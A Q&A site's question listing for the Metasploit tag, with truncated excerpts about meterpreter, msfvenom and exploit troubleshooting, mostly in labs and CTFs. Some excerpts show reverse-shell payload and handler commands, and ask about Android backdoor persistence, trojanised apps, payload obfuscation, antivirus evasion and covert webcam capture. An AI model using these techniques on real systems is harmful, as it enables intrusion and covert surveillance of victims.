Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
0
votes
0answers
57 views

Pentest localadmin next steps [on hold]

I managed to get local admin on one of my company's workstations (I have permission to pentest their network), and I'm curious as to what I should do next. They have very good policy and antivirus ...
-1
votes
1answer
51 views

Metasploit targets list import [closed]

I would like to know if in metasploit for any given exploit its possible to use a target list instead of a single target and if possible how is that done?
-2
votes
2answers
69 views

Difference between shell and meterpreter? [duplicate]

What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells? 1) The non-meterpreter reverse shell: windows/shell/reverse_tcp 2) Meterpreter: windows/...
0
votes
0answers
108 views

How to make metasploit backdoor persistent in Android?

I created a payload with msfvenom and installed it on Android smartphone, but after a reboot or long time without use, it stops working, because the OS kills the process. Is there any way to ...
0
votes
0answers
22 views

Snort rules to detect metasploit's trojan [duplicate]

I'm currently working on Snort and I'm trying to detect meterpreter sessions in reverse TCP or HTTPS, a Trojan ... Does anyone know snort rules in order to detect this? Despite my research, I found ...
-1
votes
0answers
50 views

MSFVenom No Permissions on infected apk

When injecting payloads into existing apk files, I've noticed that sometimes the permissions written to the AndroidManifest.xml file are not always read. I would have downloaded an apk file off ...
2
votes
1answer
94 views

Stored XSS + PHP Backdoor + File upload vulnerability

I built this web application(Used PHP 5 + MySQL) where I could take advantage of file upload vulnerability and XSS. My route of attack is: Upload a PHP backdoor which I built with msfvenom Go to ...
0
votes
1answer
53 views

Is exploit different from the kernel level or root?

i'm searching privilage escalation. there is some way if you looking at. i trying exploit in my lab machine like vulnhub. there is a diagram for understanding differents. anyway I told you a little. ...
0
votes
0answers
92 views

Failed to load module: [Directory/tomcat_cgi_cmdlineargs]?

Note: Only for educational purposes. Basically I am studying CVE-2019-0232, as It says in the cvedetails description its a RCE exploit and a module from rapid 7 has been provide at the bottom of the ...
0
votes
0answers
32 views

Meterpreter shell not presenting results

After successfully running an exploit from Metasploit (Drupageddon), I am trying to run commands through the shell command in meterpreter. However, it displays prompts but not the results of any other ...
1
vote
0answers
91 views

Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi

I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM. ...
0
votes
0answers
53 views

BASH android/meterpreter payload obfuscator script

I have written a little script that does a pretty good job of obfuscating android/meterpreter payloads. It will generate payloads or used supplied msf payloads while also injecting a custom icon. The ...
0
votes
0answers
54 views

Why is generated different traffic for the same attack?

I created a scenario in VirtualBox (configured as internal network) with two machines: Windows XP and Kali Linux. I used ms08_067_netapi exploit from Metasploit and the payload windows/meterpreter/...
0
votes
1answer
70 views

SSH_login not prompting meterprepter?

So Basically I am trying to create a SSH session in metasploit. session opens successfully when I do sessions #, it prints [*] Starting interaction with 4... but when I do a dir, no result or no ...
0
votes
0answers
76 views

Error: Inavlid template facebook.apk while using metasploit for hacking android

I am learning ethical hacking recently. I installed Metasploit on my Ubuntu system. While I'm building the payload, I'm getting the following error message: error : Invalid template:facebook.apk I'm ...
0
votes
1answer
117 views

Metasploit Exploitation with Virtual Hosts (PHP_Include Exploit)

I am currently trying to build an example of a host vulnerable to Remote File Inclusion vulnerabilities. I have a docker application which hosts 3 vulnerable websites, and in order to access them I ...
0
votes
1answer
96 views

PHP HTTP Reverse Shell?

Is there a PHP HTTP reverse shell? I haven't been able to find one, only ones that transmit using TCP packets (not HTTP). Note, I mean actually using HTTP packets as the C2, not just transmitting TCP ...
0
votes
0answers
28 views

Linux Kernel exploitation via MSFconsole

I am running a server with the service linux kernel to practice pentesting with metasploit. I am trying to use CVE-2019-10124 to take it down, however I don't really know how to. I am aware that ...
0
votes
2answers
174 views

Metasploit Starts attacking multiple targets, results in “address is already in use”

I am attempting to pentest multiple Weblogic servers, however, when I "run" or "exploit" or even "exploit -J", metasploit begins to attack multiple targets at once, which results in "address is ...
0
votes
0answers
463 views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
0
votes
1answer
81 views

Prevent Handler From Starting On Exploit

Ok, I want to be able to start up my handler in the background, and then attack multiple targets without each exploit starting its on handler... For instance, when I am attacking a target... [*] ...
0
votes
0answers
163 views

MetaSploit db_import IP Address List

I have confirmed that msfconsole is connected to the database, and I have issued to the following commands... msf5 > db_status [*] Connected to remote_data_service: (https://localhost:5443). ...
1
vote
0answers
67 views

How do i pivot over WAN

How would i be able to pivot into a internal network over the internet (WAN)? For example: I have a vps with metasploit installed and have a listener running and got a few meterpreter sessions, how ...
0
votes
0answers
94 views

Meterpreter Upload won't work

I am trying to follow a walkthrough for a CTF and there is one point where i have to upload a unix-privesc-check file to the other machine. Well when i use the command i get this response upload /...
1
vote
0answers
89 views

Use Kerberos Golden Ticket with Metasploit

Having compromised a domain controller during testing, I now wish to create persistent domain admin access. Also, operational security is important for me as I don't want to be logging into netowkr ...
0
votes
0answers
45 views

Migrate into different process each time a shell spawns

I'm trying to migrate into a new process whenever I get a session. I did this by using set autorunscript migrate -f and also set prependmigrate true but the problem is whenever I get 2+ shells on the ...
0
votes
0answers
40 views

Is Metasploit payload stored locally or residing in memory temporarily on a victim's device?

A simple question on where the payload is when being exploited. Tried some testing on metasploit and got a message saying the payload's been uploaded successfully under /tmp in a linux target machine ...
0
votes
1answer
361 views

How do I get back to a Meterpreter shell after backgrounding it?

Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session. In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
0answers
89 views

Meterpreter Over HTTPS Proxy

I have a proxy server on the WAN as well as my box open to the WAN. I want this proxy server to (when it receives a shell), route it to my host so it can be the "man in the middle" between my ...
1
vote
0answers
460 views

127.0.0.1 - Meterpreter session 2 closed. Reason: Died

I am new at metasploit and am trying to pentest an Android 5.1 device, so I setup for a stageFright attack but am having this issue: the 'meterpreter session closed' immediately, and the ngrok ...
1
vote
0answers
98 views

Metasploit wmap_run -e freezes on auxiliary/scanner/http/brute_dirs module, returns 404

I am trying to run a wmap scan on a web app locally on my Mac. But when wmap reached File/Dir testing, more specifically the brute force module, it does not show anything for path (even though the ...
0
votes
0answers
19 views

Using stack-based memory_dump, the value of esp in query_regs is always 0

I was trying to use https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/memory_grep.rb using the stack-based method. However it wasn't working. What I do is ...
3
votes
0answers
132 views

How is it possible that the Metasploit meterpreter can take pictures without “notifying” the user?

Im curious how the Meterpreter can take pictures from my webcam without turning on the webcam LED? Ive read that you have to write/change a driver, or a firmware, or you just change some DLLs, but ...
0
votes
1answer
123 views

How to launch a Metasploit module with arguments in just one command

I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
1
vote
1answer
400 views

openVAS: uninitialized constant OpenVASOMP::OMPConnectionError [closed]

I was searching in many forums regarding this issue like here and here, but they were mentioning using port 9390. I launched OpenVAS on port 9390, but I still get the same error. I am using openVAS ...
1
vote
1answer
499 views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
0
votes
0answers
127 views

Exploit TinyCore Linux 4.2.9 with DirtyCow remote from Kali Linux

Do you know if is possible execute an exploit from Kali Linux for obtain root privileges in a remote machine (that I have exploited before with a local user) with tiny-core Linux version 4.2.9, I've ...
0
votes
0answers
97 views

Metasploit - AutoRunScript for a shell session

I have a bunch of bash commands I want to run when the shell_reverse_tcp session is hooked. I tried to : put all my commands into a file mycommands.bash then "set AutoRunScript mycommands.bash" -> ...
0
votes
0answers
109 views

ms08_067_netapi Fingerprint: Unknown - - lang:Unknown

I'm trying to get my first exploit to work on metasploit. I'm working with the book "Penetration Testing - A hands-on introduction to Hacking". I'm trying to use the ms08_76_netpi exploit on Windows ...
-1
votes
1answer
67 views

msfvenom produces different op codes when format is given with 'c' instead of 'python'

I still do not understand the msfvenom format ( -f ) parameter regarding the resulting op codes. I do not understand why a payload consists of different op codes when the format ( -f ) is different, ...
0
votes
0answers
72 views

Metasploit : How to put non-post modules in an AutoRunScript

In multi/handler I want to add some AutoRunScripts when the session begins : exploit/osx/local/persistence. But it doesn't work because it's not a post/ module.
0
votes
1answer
89 views

Metasploit: java_signed_applet attack hangs after user response

I am trying to perform a client side attack with Metasploit on a 32 bit Windows 7 Professional N (SP1) victim. I have Windows Defender and Firewall disabled and Java Control Panel Security set at ...
0
votes
1answer
367 views

Metasploit Handler doesnt show options

I am trying to use exploit/multi/handler module which I have used before and it does not allow me to set options. The options commands displays nothing. I tried reinstalling (apt-get remove metasploit-...
-1
votes
1answer
122 views

How to identify the vulnerabilities in a target computer?

I ran an exploit on the victim and used a msfvenom payload. I am on the victim's computer but I have not the root privileges. I tried to use getsystem command for getting privilege but it failed. So ...
0
votes
0answers
183 views

Msfvenom : Create Windows payload that asks for admin privileges automatically

So I can create a Windows payload with msfvenom with a simple command, for example : msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.58.109 LPORT=4485 EXITFUNC=...
1
vote
1answer
140 views

Metasploit MacOS victim - tools to enable remote desktop / GUI view of the victim

If the exploited victim OS is Windows, metasploit has the getgui command to run RDP. Then he can manipulate the victim OS through the GUI desktop interface. meterpreter > run getgui -u loneferret -...
-2
votes
1answer
218 views

what is metasploit framework even used for? [closed]

I know how the Metasploit framework works and I know that it can generate payloads and such, my question is if there is a way to evade anti-virus using Metasploit payloads. What exact purpose does it ...
1
vote
1answer
2k views

Reverse PHP shell disconnecting when netcat listener

Whilst performing a penetration test on a testing box, I came across a vulnerability regarding LotusCMS: https://www.exploit-db.com/exploits/18565 Rather than rely on Metasploit or Meterpreter to ...
1
vote
0answers
186 views

Metasploit: Exploit not starting connection to handler [closed]

I am using an Android 4.4 VirtualMachine and a Kali Linux 2018.4 VirtualMachine. Lan Network: Kali VM : 10.0.0.27 Android VM : 10.0.0.29 I did a .apk of the WeChat app with kwetza on Kali : git ...
1
vote
0answers
49 views

Limited ESP Length in Buffer Overflow Sample C Program

May I know how to increase the length of ESP on a sample c program which allows me to execute shellcode on the stack. However, as of now, the sample c program only has an ESP length of 61 thus ...